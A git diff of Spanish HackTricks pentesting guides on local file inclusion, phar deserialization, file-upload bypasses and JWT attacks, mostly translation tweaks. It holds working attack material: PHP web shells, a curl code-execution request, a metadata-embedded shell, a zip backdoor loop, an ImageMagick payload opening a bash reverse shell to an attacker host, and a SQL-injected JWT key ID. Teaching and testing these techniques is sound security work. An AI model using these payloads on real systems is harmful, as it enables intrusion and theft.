Aquí hay una lista de los 25 parámetros principales que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -209,13 +213,13 @@ Aquí hay una lista de los 25 parámetros principales que podrían ser vulnerabl
### php://filter
Los filtros PHP permiten realizar **operaciones de modificación básicas en los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
Los filtros de PHP permiten realizar **operaciones de modificación básicas sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: Elimina etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
- `string.strip_tags`: Elimina las etiquetas de los datos (todo lo que está entre los caracteres "<" y ">")
- Ten en cuenta que este filtro ha desaparecido de las versiones modernas de PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
@ -228,7 +232,7 @@ Los filtros PHP permiten realizar **operaciones de modificación básicas en los
> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo que podría ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información, consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Comprime el contenido (útil si se exfiltra mucha información)
- `zlib.deflate`: Comprime el contenido (útil si se está exfiltrando mucha información)
- `zlib.inflate`: Descomprime los datos
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Obsoleto
@ -276,12 +280,12 @@ En la publicación original puedes encontrar una explicación detallada de la t
- Usa el códec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
- Esto se usará para generar un **texto tan grande cuando la letra inicial se adivine correctamente** que php desencadenará un **error**.
- El filtro **dechunk** **eliminará todo si el primer carácter no es un hexadecimal**, por lo que podemos saber si el primer carácter es hexadecimal.
- Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php dé un error.
- Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php falle.
- El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
- Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).
- Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
- El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria de orden como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
- El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de orden de memoria como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **pivote con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
En la publicación también se filtró una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@ -339,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web aprovecha funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
Un archivo `.phar` puede ser utilizado para ejecutar código PHP cuando una aplicación web utiliza funciones como `include` para la carga de archivos. El fragmento de código PHP proporcionado a continuación demuestra la creación de un archivo `.phar`:
```php
<?php
$phar = new Phar('test.phar');
@ -379,7 +383,7 @@ Verifique más posibles [**protocolos para incluir aquí**](https://www.php.net/
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accediendo a URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accediendo a URLs FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, por lo que no es realmente útil aquí)
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nombres de ruta que coincidan con el patrón (no devuelve nada imprimible, así que no es realmente útil aquí)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (no útil para leer archivos arbitrarios)
@ -404,7 +408,7 @@ Es importante **codificar en URL estas cargas útiles**.
## PHP Blind Path Traversal
> [!WARNING]
> Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
> Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) pero el contenido no se muestra.
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de errores**.
@ -431,7 +435,7 @@ Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de i
>
> Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de este encabezado.\
Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría insertarse dentro de este encabezado.\
Otras posibles rutas de registro:
```python
/var/log/apache2/access.log
@ -517,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### A través de filtros php (no se necesita archivo)
Este [**escrito**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para incluir **sin necesidad de escribirlo** en un archivo.
Este [**escrito**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que puedes usar **filtros php para generar contenido arbitrario** como salida. Lo que básicamente significa que puedes **generar código php arbitrario** para la inclusión **sin necesidad de escribirlo** en un archivo.
{{#ref}}
lfi2rce-via-php-filters.md
@ -541,7 +545,7 @@ lfi2rce-via-nginx-temp-files.md
### A través de PHP_SESSION_UPLOAD_PROGRESS
Si encontraste una **Inclusión de Archivos Local** incluso si **no tienes una sesión** y `session.auto_start` está `Desactivado`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**. Podrías abusar de esto para obtener RCE:
Si encontraste una **Inclusión de Archivos Local** incluso si **no tienes una sesión** y `session.auto_start` está `Apagado`. Si proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**. Podrías abusar de esto para obtener RCE:
{{#ref}}
via-php_session_upload_progress.md
@ -588,4 +592,26 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### A través de espera eterna + bruteforce
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podr
Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### A Error Fatal
Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para provocar ese error).
**No sé cuán útil es esto, pero podría serlo.**\
&#xNAN;_&#x45;ven si causas un Error Fatal de PHP, los archivos temporales de PHP subidos son eliminados._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Referencias
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
{{#include ../../banners/hacktricks-training.md}}

10
src/pentesting-web/file-inclusion/phar-deserialization.md
View File

@ -2,8 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**Los** archivos **Phar** (PHP Archive) **contienen metadatos en formato serializado**, por lo que, al ser analizados, estos **metadatos** son **deserializados** y puedes intentar abusar de una vulnerabilidad de **deserialización** dentro del código **PHP**.
Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP como **file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**.
@ -24,7 +22,7 @@ system($this->data);
filesize("phar://test.phar"); #The attacker can control this path
```
Puedes crear un archivo **phar** que, al ser cargado, **abuse de esta clase para ejecutar comandos arbitrarios** con algo como:
Puedes crear un archivo **phar** que al ser cargado **abuse de esta clase para ejecutar comandos arbitrarios** con algo como:
```php:create_phar.php
<?php
@ -61,8 +59,8 @@ php vuln.php
```
### Referencias
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
{{#ref}}
https://blog.ripstech.com/2018/new-php-exploitation-technique/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

36
src/pentesting-web/file-upload/README.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Metodología General de Carga de Archivos
Otras extensiones útiles:
@ -22,7 +21,7 @@ Otras extensiones útiles:
2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
- _file.png.php_
- _file.png.Php5_
3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **bruteforce** todos los **caracteres ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
3. Intenta agregar **caracteres especiales al final.** Podrías usar Burp para **bruteforce** todos los **caracteres ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones mencionadas anteriormente**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -44,15 +43,15 @@ Otras extensiones útiles:
5. Agrega **otra capa de extensiones** a la verificación anterior:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
- _ej: file.php.png_
7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”)
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php
```
# Linux máximo 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png
# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -63,7 +62,7 @@ AAA<--SNIP 232 A-->AAA.php.png
### Bypass de Content-Type, Magic Number, Compresión y Redimensionamiento
- Elude las comprobaciones de **Content-Type** configurando el **valor** del **header** de **Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
1. **Lista de palabras** de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
1. Lista de palabras de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Elude la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` o también podrías **introducir la carga directamente** en una imagen:\
@ -78,7 +77,7 @@ AAA<--SNIP 232 A-->AAA.php.png
### Otros trucos a verificar
- Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
- Encuentra una vulnerabilidad de **Inclusión de Archivos Local** para ejecutar el backdoor.
- Encuentra una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar el backdoor.
- **Posible divulgación de información**:
1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
@ -86,7 +85,7 @@ AAA<--SNIP 232 A-->AAA.php.png
4. Sube un archivo que puede no ser eliminado fácilmente como **“…:.jpg”** en **NTFS**. (Windows)
5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
6. Sube un archivo en **Windows** usando **nombres reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea accidentalmente abierto por la víctima.
- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea abierto accidentalmente por la víctima.
### Trucos especiales de extensión
@ -99,7 +98,7 @@ La extensión `.inc` a veces se usa para archivos php que solo se utilizan para
## **Jetty RCE**
Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -157,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eluda la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eludirá la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
## Herramientas
@ -196,9 +195,11 @@ Aquí hay una lista de las 10 principales cosas que puede lograr al cargar (de [
#### Extensión de Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
{{#ref}}
https://github.com/portswigger/upload-scanner
{{#endref}}
## Bytes de encabezado mágico
## Bytes de encabezado mágicos
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"`
@ -211,7 +212,7 @@ Si puede cargar un ZIP que se va a descomprimir dentro del servidor, puede hacer
#### Symlink
Cargue un enlace que contenga enlaces suaves a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
Cargue un enlace que contenga enlaces simbólicos a otros archivos, luego, al acceder a los archivos descomprimidos, accederá a los archivos vinculados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -248,7 +249,7 @@ zip.close()
create_zip()
```
**Abusando de la compresión para el file spraying**
**Abusando de la compresión para la pulverización de archivos**
Para más detalles **consulta la publicación original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
@ -262,7 +263,7 @@ system($cmd);
}?>
```
2. **File Spraying y Creación de Archivos Comprimidos**: Se crean múltiples archivos y se ensambla un archivo zip que contiene estos archivos.
2. **Pulverización de Archivos y Creación de Archivos Comprimidos**: Se crean múltiples archivos y se ensambla un archivo zip que contiene estos archivos.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
@ -286,9 +287,9 @@ viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Incrustar Shell PHP en PNG
## Incrustación de Shell PHP en PNG
Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
@ -313,5 +314,4 @@ Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
{{#include ../../banners/hacktricks-training.md}}

43
src/pentesting-web/hacking-jwt-json-web-tokens.md
View File

@ -21,7 +21,7 @@ Luego, puedes buscar la solicitud en tu proxy o volcar el JWT utilizado para esa
```bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
```
Puedes usar la [**Extensión Burp SignSaboteur**](https://github.com/d0ge/sign-saboteur) para lanzar ataques JWT desde Burp.
Puedes también usar la [**Extensión Burp SignSaboteur**](https://github.com/d0ge/sign-saboteur) para lanzar ataques JWT desde Burp.
### Manipular datos sin modificar nada
@ -29,9 +29,9 @@ Puedes simplemente manipular los datos dejando la firma como está y verificar s
#### **¿Se verifica el token?**
Para comprobar si se está verificando la firma de un JWT:
Para comprobar si la firma de un JWT está siendo verificada:
- Un mensaje de error sugiere que se está realizando una verificación; los detalles sensibles en errores detallados deben ser revisados.
- Un mensaje de error sugiere una verificación en curso; los detalles sensibles en errores verbosos deben ser revisados.
- Un cambio en la página devuelta también indica verificación.
- La ausencia de cambios sugiere que no hay verificación; este es el momento de experimentar con la manipulación de las afirmaciones del payload.
@ -46,7 +46,7 @@ Es importante determinar si el token fue generado del lado del servidor o del la
Verifica si el token dura más de 24h... tal vez nunca expire. Si hay un campo "exp", verifica si el servidor lo está manejando correctamente.
### Fuerza bruta del secreto HMAC
### Fuerza bruta de la clave secreta HMAC
[**Ver esta página.**](../generic-hacking/brute-force.md#jwt)
@ -54,7 +54,7 @@ Verifica si el token dura más de 24h... tal vez nunca expire. Si hay un campo "
Establece el algoritmo utilizado como "Ninguno" y elimina la parte de la firma.
Usa la extensión Burp llamada "JSON Web Token" para probar esta vulnerabilidad y cambiar diferentes valores dentro del JWT (envía la solicitud a Repeater y en la pestaña "JSON Web Token" puedes modificar los valores del token. También puedes seleccionar poner el valor del campo "Alg" a "Ninguno").
Usa la extensión de Burp llamada "JSON Web Token" para probar esta vulnerabilidad y cambiar diferentes valores dentro del JWT (envía la solicitud a Repeater y en la pestaña "JSON Web Token" puedes modificar los valores del token. También puedes seleccionar poner el valor del campo "Alg" a "Ninguno").
### Cambiar el algoritmo RS256(asimétrico) a HS256(simétrico) (CVE-2016-5431/CVE-2016-10555)
@ -97,7 +97,7 @@ python3 jwt_tool.py JWT_HERE -X s
Un reclamo de encabezado opcional conocido como `kid` se utiliza para identificar una clave específica, lo que se vuelve particularmente vital en entornos donde existen múltiples claves para la verificación de la firma del token. Este reclamo ayuda a seleccionar la clave apropiada para verificar la firma de un token.
#### Revelando Clave a través de "kid"
#### Revelando la Clave a través de "kid"
Cuando el reclamo `kid` está presente en el encabezado, se recomienda buscar en el directorio web el archivo correspondiente o sus variaciones. Por ejemplo, si se especifica `"kid":"key/12345"`, se deben buscar los archivos _/key/12345_ y _/key/12345.pem_ en la raíz web.
@ -115,9 +115,9 @@ Si el contenido de la declaración `kid` se utiliza para obtener una contraseña
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
Esta alteración obliga a usar una clave secreta conocida, `ATTACKER`, para la firma de JWT.
Esta alteración obliga al uso de una clave secreta conocida, `ATTACKER`, para la firma de JWT.
#### Inyección de OS a través de "kid"
#### Inyección OS a través de "kid"
Un escenario donde el parámetro `kid` especifica una ruta de archivo utilizada dentro de un contexto de ejecución de comandos podría llevar a vulnerabilidades de Ejecución Remota de Código (RCE). Al inyectar comandos en el parámetro `kid`, es posible exponer claves privadas. Un ejemplo de carga útil para lograr RCE y exposición de claves es:
@ -128,7 +128,7 @@ Un escenario donde el parámetro `kid` especifica una ruta de archivo utilizada
#### jku
jku significa **JWK Set URL**.\
Si el token utiliza una declaración de **Header** “**jku**”, entonces **verifica la URL proporcionada**. Esto debería apuntar a una URL que contenga el archivo JWKS que tiene la Clave Pública para verificar el token. Modifica el token para que el valor de jku apunte a un servicio web que puedas monitorear.
Si el token utiliza una declaración de **Header** “**jku**”, entonces **verifica la URL proporcionada**. Esto debería apuntar a una URL que contenga el archivo JWKS que tiene la Clave Pública para verificar el token. Modifica el token para que el valor jku apunte a un servicio web que puedas monitorear.
Primero necesitas crear un nuevo certificado con nuevas claves privadas y públicas.
```bash
@ -177,7 +177,7 @@ openssl x509 -in attacker.crt -text
```
### Clave Pública Embebida (CVE-2018-0114)
Si el JWT tiene una clave pública embebida como en el siguiente escenario:
Si el JWT tiene embebida una clave pública como en el siguiente escenario:
![](<../images/image (624).png>)
@ -220,27 +220,30 @@ Aquí hay un ejemplo: [ECDSA: Revelando la clave privada, si se usa el mismo non
El reclamo JTI (JWT ID) proporciona un identificador único para un token JWT. Puede ser utilizado para prevenir que el token sea reproducido.\
Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). Las solicitudes 0001 y 10001 van a usar el mismo ID. Así que si el backend está incrementando el ID en cada solicitud, podrías abusar de esto para **repetir una solicitud** (necesitando enviar 10000 solicitudes entre cada repetición exitosa).
### Reclamos registrados de JWT
### JWT Registered claims
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
{{#ref}}
https://www.iana.org/assignments/jwt/jwt.xhtml#claims
{{#endref}}
### Otros ataques
### Other attacks
**Ataques de Relay entre servicios**
**Cross-service Relay Attacks**
Se ha observado que algunas aplicaciones web dependen de un servicio JWT confiable para la generación y gestión de sus tokens. Se han registrado casos donde un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse en una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego, se debe intentar reproducir el token obtenido en una solicitud al objetivo para ver si es aceptado.
Se ha observado que algunas aplicaciones web dependen de un servicio JWT confiable para la generación y gestión de sus tokens. Se han registrado casos donde un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse para una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego, se debe intentar reproducir el token obtenido en una solicitud al objetivo para ver si es aceptado.
